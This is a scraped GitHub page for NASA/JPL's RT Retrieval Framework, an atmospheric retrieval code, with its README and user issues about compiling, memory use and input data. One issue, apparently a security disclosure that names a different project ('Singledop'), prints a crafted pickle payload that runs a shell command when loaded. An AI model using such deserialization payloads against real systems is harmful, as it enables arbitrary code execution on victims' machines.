nasa / rtretrievalframework Goto Github PK
View Code? Open in Web Editor NEWLicense: Other
License: Other
====================== RT Retrieval Framework ====================== Jet Propulsion Laboratory, California Institute of Technology. Copyright 2017 California Institute of Technology. U.S. Government sponsorship acknowledged. This software (NASA NTR-49044) retrieves a set of atmospheric/surface/instrument parameters from a simultaneous fit to spectra from multiple absorption bands. The software uses an iterative, non-linear retrieval technique (optimal estimation). After the retrieval process has converged, the software performs an error analysis. The products of the software include all quantities needed to understand the information content of the measurement, its uncertainty, and its dependence on interfering atmospheric properties. The software provides a flexible, efficient, and accurate tool to retrieve the atmospheric composition from near-infrared spectra. Its unique features are: * Spectra from ground-based or space-based measurement with arbitrary observation geometry can be analyzed. * The retrieved parameters can be chosen from a large set of atmospheric (e.g., volume mixing ratio of gases or aerosol optical depth), surface (e.g., Lambertian reflection), and instrument (e.g., spectral shift or instrument line shape parameters) parameters. * The software uses an accurate, state-of-the-art, multiple-scattering radiative transfer code combined with an efficient polarization approximation to simulate measured spectra. * The software enables fast and highly accurate simulations of broad spectral ranges by an optional parallelization of the frequency processing in the radiative transfer model. The software was originally created for JPL's OCO, ACOS and OCO-2 projects for Level-2 processing. Documentation ------------- Documentation on setup and compiling of the software can be found in the doc/users_guide.pdf PDF file, or online in HTML form at: http://nasa.github.io/RtRetrievalFrameworkDoc/ For information on the algorithms used by the software the OCO2 L2 Algorithm Theoretical Basis Document can be found at the Goddard DAAC: http://disc.sci.gsfc.nasa.gov/OCO-2/documentation/oco-2-v6/OCO2_L2_ATBD.V6.pdf For further information on the methods used by OCO, see the OCO-2 project publications page: http://oco.jpl.nasa.gov/science/publications/
Hi,
The documentation says that the model needs a priori CO2 profiles, I want to ask where I can download the CO2 file, and how to add the file into the model.
Thanks,
Jin Zhe
Hi :
According to the user manual, I have compiled successfully and generated the L2 FP file. I want to use the new oco-2 data to run the program. Do you have any version and other requirements for downloading oco-2 L1B data? Where is the ECMWF data obtained and interpolation processing is required after downloading? Where does absco data need to be placed in the program? Does GOSAT data need noise removal? Is there a specific tutorial dealing with GOSAT and oco-2 to generate L2 products?
Looking forward to your reply
thank you
Can I get the forward model results instead of the ultimate retrieval results?
Hi,
I have successfully installed the B8.1.00 version model on the server. The problem is I can only run the forward model, because the memory needed to run the whole retrieval model is too large. The memory of my server is 48GB. When I try to run the whole retrieval model, memory overflow will happen. Even if I only run the forward model, the whole memory will be occupied.
I want to ask how much memory is needed for the model? If the memory requirement is not too large, what may be the cause of my problem? Is there a problem during the compilation process? My compiling command is /path/to/source/configure THIRDPARTY=build --with-absco=/path/ABSCO --with-merra=/path/MERRA. And I run the model by ./l2_fp_job.sh single_one_sounding_id.
Thanks,
JinZhe
The installation has been completed, and the inversion results of a single sounding have been run. How can we fully run all sounding inversion CO2 in the future? there is my email [email protected]
Email from Peter:
Hi Mike
My new PhD student, George Cann (in cc:) started a project 6 weeks ago
sponsored by the UK Space Agency on developing retrieval code for 13CH4
isotopologue retrieval in the Martian atmosphere using data from
instruments onboard the ESA Trace Gas Orbiter.
I previously collaborated with Hartmut Boesch at Leicester using his
code on CEMS for 13CH4 from GOSAT data. Hartmut wrote part of this code
when he was a NRC fellow many years ago at JPL.
For George's PhD project, we want to combine your OCO-2 retrieval code
with the Oxford Reference Forward Model (ORFM) to develop a standalone
13CH4 retrieval system for solar occultation data.
George downloaded the software from the github and has been working on
the hints and tips provided at
http://nasa.github.io/RtRetrievalFrameworkDoc/developer_information.html
However, he has hit a brick-wall after several weeks of trying to
compile and link this software on MacOS. Unfortunately, none of the
developer's notes say what the original target system was so it may be
that this code was developed on RHEL or PC Windows and was never
intended to run on MacOS?
George has access to RHEL blade systems so running on linux might be
much easier. However, I wanted to check first and also to ask if you
would be prepared to answer his key questions so he can start to make
some progress?
Just a quick minor issue.
http://oco.jpl.nasa.gov/science/publications/
Responds with Unknown Host in browser:
$ dig oco.jpl.nasa.gov | grep status
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 28402
$ nslookup oco.jpl.nasa.gov
** server can't find oco.jpl.nasa.gov: NXDOMAIN
After finding this software I was attempting to build an RPM from source to enable easy installation.
Standard autotools in use with gfortan compiler.
Read all the supporting compile docs, (using Fedora 38) I encounter these issues, note all RPM dependencies are met:
$ rpm -qa *gfortran
libgfortran-13.2.1-4.fc40.x86_64
gcc-gfortran-13.2.1-4.fc40.x86_64
$ rpm -qa ruby* | sort
ruby-3.2.2-183.fc40.x86_64
ruby-default-gems-3.2.2-183.fc40.noarch
ruby-devel-3.2.2-183.fc40.x86_64
ruby-libs-3.2.2-183.fc40.x86_64
rubygem-io-console-0.6.0-183.fc40.x86_64
rubygem-json-2.6.3-204.fc39.x86_64
rubygem-narray-0.6.1.1-28.fc39.x86_64
rubygem-psych-5.0.1-183.fc40.x86_64
rubygem-rdoc-6.5.0-183.fc40.noarch
rubygems-3.4.10-183.fc40.noarch
rubygems-devel-3.4.10-183.fc40.noarch
rubypick-1.1.1-19.fc39.noarch
./config/depf90:38:in block in <main>': undefined method
exists?' for File:Class (NoMethodError)
fname = srcdir + "/" + fname unless(File.exists?(fname))
^^^^^^^^
Did you mean? exist?
from ./config/depf90:28:in each' from ./config/depf90:28:in
block in <main>': undefined method
exists?' for File:Class (NoMethodError)
fname = srcdir + "/" + fname unless(File.exists?(fname))
^^^^^^^^
Did you mean? exist?
from ./config/depf90:28:in each' from ./config/depf90:28:in
block in <main>': undefined method
exists?' for File:Class (NoMethodError)Hi,
I attempt to change the input data of CO2 apriori and use my own data. I find in the class PressureLevelInput that the input data must be defined on 20 fixed pressure levels (1hPa, 70hPa ,..., 1000hPa, 1050hPa).
My first question is that sometimes the surface pressure is lower than 1050hPa, for example, 900hPa, is it still necessary to give values of levels higher than 900hPa, and will the values of these levels have a effect on the final results?
My second question is that, in the class Pressure, it says the pressure levels will potentially vary as we do a retrieval, how do they vary?
My third question is that what's the function of class PressureSigma, does the sigma coordinate be used in the retrieval process? And in the pressure section of the result, there are two matrices, named a and b respectively, what do the two matrices represent?
a:
20
[ 0 0 0 0 0 0 0
0 0 0 0 0 0 0
0 0 0 0 0 0 ]
b:
20
[ 0.0001 0.0526316 0.105263 0.157895 0.210526 0.263158 0.315789
0.368421 0.421053 0.473684 0.526316 0.578947 0.631579 0.684211
0.736842 0.789474 0.842105 0.894737 0.947368 1 ]
Hi,
RtRetrievalFramework
or fname in flist: 14 with open(fname) as f: 15 t = cPickle.load(f) 16 xco2_a = t["XCO2_a"] … 23 with open("my_cov.pkl") as f: 24 dist_cov = cPickle.load(f) 25
I would like to report a remote code execution potential vulnerability in Singledop. Pickle module enables binary serialization and loading of Python datatypes and any user supplied sample file can lead to remote code execution on any researches machine processing a serialized file.
Attack binary a valid dop file:
mona@mona-virtual-machine:~/Downloads/SingleDop$ cat t_file cos popen (S'uname -a' tRp100 0c__builtin__ getattr (c__builtin__ file S'read' tRp101 0c__builtin__ apply (g101 (g100 I1000 ltRp102 0c__builtin__ getattr (c__builtin__ file S'close' tRp103 0c__builtin__ apply (g103 (g100 ltRp104 0g102 .
The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.
Please let me know if you have any questions. You can also reach back to me at [email protected]
Thanks
Will this software be updated again?
What's the relationship between RtRetrievalFramework and ReFRACtor?
Is ReFRACtor a better choice?
Hi,
I am still working this version because meet some environment errors during compiling ReFRACtor on our server...
For this version, I have passed all test run, now I am trying to work on the python wrapper.
I following the instruction here http://nasa.github.io/RtRetrievalFrameworkDoc/python_wrappers.html.
from full_physics import *
But got "NameError: name 'L2FpConfigurationLua' is not defined",
I check the full_physics directory, (for me is /home/thl/04.OCO2/RtRetrievalFramework/build_fp/install/lib/python2.7/site-packages/full_physics
). There are no function called 'L2FpConfigurationLua'.
However, I can find this function under "full_physics_swig" directory,
Then I try to import full_physics_swig in python, then got following error:
import full_physics_swig as fps
Traceback (most recent call last):
File "", line 1, in
File "/home/thl/04.OCO2/RtRetrievalFramework/build_fp/install/lib/python2.7/site-packages/full_physics_swig/init.py", line 9, in
exec('from .%s import *' % mname)
File "", line 1, in
File "/home/thl/04.OCO2/RtRetrievalFramework/build_fp/install/lib/python2.7/site-packages/full_physics_swig/init.py", line 9, in
exec('from .%s import *' % mname)
File "", line 1, in
File "/home/thl/04.OCO2/RtRetrievalFramework/build_fp/install/lib/python2.7/site-packages/full_physics_swig/oco_noise_model.py", line 32, in
_oco_noise_model = swig_import_helper()
File "/home/thl/04.OCO2/RtRetrievalFramework/build_fp/install/lib/python2.7/site-packages/full_physics_swig/oco_noise_model.py", line 24, in swig_import_helper
import _oco_noise_model
ImportError: No module named _oco_noise_model
Any suggestions?
Thanks,
Tianhao
Looks like this is for all the thirdparty libs, by this:
%configure
--with-lidort-3.8=build
--with-2stream=build
$rpm -qa libtool
libtool-2.4.7-7.fc35.x86_64
/bin/sh ./libtool --tag=FC --mode=compile -DPACKAGE_NAME="full_physics" -DPACKAGE_TARNAME="full_physics" -DPACKAGE_VERSION="11.0.05" -DPACKAGE_STRING="full_physics\ 11.0.05" -DPACKAGE_BUGREPORT="" -DPACKAGE_URL="" -DPACKAGE="full_physics" -DVERSION="11.0.05" -DHAVE_STDIO_H=1 -DHAVE_STDLIB_H=1 -DHAVE_STRING_H=1 -DHAVE_INTTYPES_H=1 -DHAVE_STDINT_H=1 -DHAVE_STRINGS_H=1 -DHAVE_SYS_STAT_H=1 -DHAVE_SYS_TYPES_H=1 -DHAVE_UNISTD_H=1 -DSTDC_HEADERS=1 -DHAVE_DLFCN_H=1 -DLT_OBJDIR=".libs/" -DHAVE_CXX11=1 -DHAVE_BOOST=/**/ -DHAVE_BZLIB=/**/ -DHAVE_GSL=/**/ -DHAVE_NCURSES_H=1 -DHAVE_LUA=/**/ -DHAVE_PTHREAD=1 -DHAVE_FEENABLEEXCEPT=1 -DHAVE_FEENABLEEXCEPT=1 -I. -I./lib/Support -I/usr/include -I/usr/include -DBOOST_TEST_DYN_LINK -I/usr/include -I/usr/include -I./lib/Support -I./lib/Interface -I./lib/Implementation -I./lib/FixedLevel -I./lib/Deprecated -I./lib/RegisterOutput -I./lib/Lua -I/usr/include -I./lib -O2 -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -fdata-sections -ffunction-sections -flto=auto -flto-partition=none -I/usr/lib64/gfortran/modules -O -c -o thirdparty/lidort-3.8/lidort_def/liblidort_3_8_3_la-lidort_inputs_def.lo test -f 'thirdparty/lidort-3.8/lidort_def/lidort_inputs_def.F90' || echo './'
thirdparty/lidort-3.8/lidort_def/lidort_inputs_def.F90
Usage: /home/ss/rpmbuild/BUILD/RtRetrievalFramework-B11.0.05/libtool [OPTION]... [MODE-ARG]...
Try 'libtool --help' for more information.
libtool: error: unrecognised option: '-DPACKAGE_NAME="full_physics"'
make: *** [Makefile:8144: thirdparty/lidort-3.8/lidort_def/liblidort_3_8_3_la-lidort_inputs_def.lo] Error 1
make: *** Waiting for unfinished jobs....
/bin/sh ./libtool --tag=FC --mode=compile -DPACKAGE_NAME="full_physics" -DPACKAGE_TARNAME="full_physics" -DPACKAGE_VERSION="11.0.05" -DPACKAGE_STRING="full_physics\ 11.0.05" -DPACKAGE_BUGREPORT="" -DPACKAGE_URL="" -DPACKAGE="full_physics" -DVERSION="11.0.05" -DHAVE_STDIO_H=1 -DHAVE_STDLIB_H=1 -DHAVE_STRING_H=1 -DHAVE_INTTYPES_H=1 -DHAVE_STDINT_H=1 -DHAVE_STRINGS_H=1 -DHAVE_SYS_STAT_H=1 -DHAVE_SYS_TYPES_H=1 -DHAVE_UNISTD_H=1 -DSTDC_HEADERS=1 -DHAVE_DLFCN_H=1 -DLT_OBJDIR=".libs/" -DHAVE_CXX11=1 -DHAVE_BOOST=/**/ -DHAVE_BZLIB=/**/ -DHAVE_GSL=/**/ -DHAVE_NCURSES_H=1 -DHAVE_LUA=/**/ -DHAVE_PTHREAD=1 -DHAVE_FEENABLEEXCEPT=1 -DHAVE_FEENABLEEXCEPT=1 -I. -I./lib/Support -I/usr/include -I/usr/include -DBOOST_TEST_DYN_LINK -I/usr/include -I/usr/include -I./lib/Support -I./lib/Interface -I./lib/Implementation -I./lib/FixedLevel -I./lib/Deprecated -I./lib/RegisterOutput -I./lib/Lua -I/usr/include -I./lib -O2 -g -grecord-gcc-switches -pipe -Wall -Werror=format-security -Wp,-U_FORTIFY_SOURCE,-D_FORTIFY_SOURCE=3 -Wp,-D_GLIBCXX_ASSERTIONS -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -fstack-protector-strong -specs=/usr/lib/rpm/redhat/redhat-annobin-cc1 -fno-omit-frame-pointer -mno-omit-leaf-frame-pointer -m64 -mtune=generic -fasynchronous-unwind-tables -fstack-clash-protection -fcf-protection -fdata-sections -ffunction-sections -flto=auto -flto-partition=none -I/usr/lib64/gfortran/modules -O -c -o thirdparty/lidort-3.8/lidort_def/liblidort_3_8_3_la-lidort_lin_sup_brdf_def.lo test -f 'thirdparty/lidort-3.8/lidort_def/lidort_lin_sup_brdf_def.F90' || echo './'
thirdparty/lidort-3.8/lidort_def/lidort_lin_sup_brdf_def.F90
Usage: /home/ss/rpmbuild/BUILD/RtRetrievalFramework-B11.0.05/libtool [OPTION]... [MODE-ARG]...
Try 'libtool --help' for more information.
libtool: error: unrecognised option: '-DPACKAGE_NAME="full_physics"'
Ideas here?
Hello, according to the document, I used the new OCO-2 data and Met data to complete the inversion of CO2 data based on RtRetrievalFramwork, but I found that the generated file(l2_***.h5) does not contain longitude and latitude attributes. I don't know how to solve this problem? I look forward to your reply and wish you good luck
Hi,
I got following error message when I run fast_check
Running 417 test cases...
0% 10 20 30 40 50 60 70 80 90 100%
|----|----|----|----|----|----|----|----|----|----|
**********unknown location(0): fatal error: in "forward_model_spectral_grid/low_resolution_grid": FullPhysics::Exception: Lua error: std::exception: 'While trying to open file '/groups/algorithm/l2_fp/absco/v3.3.0/lowres/co2_v3.3.0-lowres.hdf' a HDF 5 Exception thrown:
H5Fopen failed'
lib/Interface/forward_model_spectral_grid_test.cc(68): last checkpoint: "low_resolution_grid" fixture entry.
unknown location(0): fatal error: in "forward_model_spectral_grid/high_resolution_grid": FullPhysics::Exception: Lua error: std::exception: 'While trying to open file '/groups/algorithm/l2_fp/absco/v3.3.0/lowres/co2_v3.3.0-lowres.hdf' a HDF 5 Exception thrown:
H5Fopen failed'
What may cause this error?
Thanks,
Tianhao
I see 2 or arguably 3 thirdparty libraries which can only be built here to support the end package so you must run configure using:
--with-lidort-3.8=build
--with-2stream=build
Build own LIDORT 3.8 library: yes
Build own 2stream library: yes
2stream library ( aka libtwostream )
lidort-3.8 library
radiant library
Now in each of the other library cases i.e. gsl can be found elsewhere and installed separately meaning no need to build.
When looking these up, the only references I find are for lidort:
http://www.rtslidort.com/mainprod_lidort.html
https://web.gps.caltech.edu/~vijay/Papers/RT%20Models/lidort_3p6_userguide_v7_28sep2012.pdf?fbclid=IwAR0PTturfB0JJLSe-QP126q7OA2mI1Uzwdsq5Zit9Rad312rs0Jlm7dLAos
Q is, where are these maintained outside of this repo elsewhere as independent libraries like that of gsl? If anyone knows, so I can work to provide an RPM along with those other libraries.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.